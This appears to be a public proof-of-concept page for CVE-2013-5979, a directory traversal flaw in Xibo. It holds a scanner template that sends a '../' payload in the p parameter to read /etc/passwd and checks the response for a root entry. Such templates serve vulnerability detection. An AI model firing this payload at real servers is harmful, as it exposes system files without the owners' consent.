CVE-2013-5979: Xibo 1.2.2/1.4.1 - Directory Traversal

2025-08-01 Xibo PoC Public

Description

A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php.

PoC

id: CVE-2013-5979

info:
  name: Xibo 1.2.2/1.4.1 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php.
  impact: |
    An attacker can read arbitrary files on the server.
  remediation: |
    Upgrade to a patched version of Xibo.
  reference:
    - https://www.exploit-db.com/exploits/26955
    - https://nvd.nist.gov/vuln/detail/CVE-2013-5979
    - https://bugs.launchpad.net/xibo/+bug/1093967
    - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-(DS-2013-00
    - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-%28DS-2013-00
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-5979
    cwe-id: CWE-22
    epss-score: 0.18125
    epss-percentile: 0.9705
    cpe: cpe:2.3:a:springsignage:xibo:1.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: springsignage
    product: xibo
  tags: cve2013,cve,lfi,edb,springsignage,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204566218473aedd9fa3207f75b68261c36c24fc67595075ed931a2e069c147aae022013a7c07a2d5c399fcdfb15a064cf6953bab5fdc71c317386e6a962517df7aa88:922c64590222798bb761d5b6d8e72950

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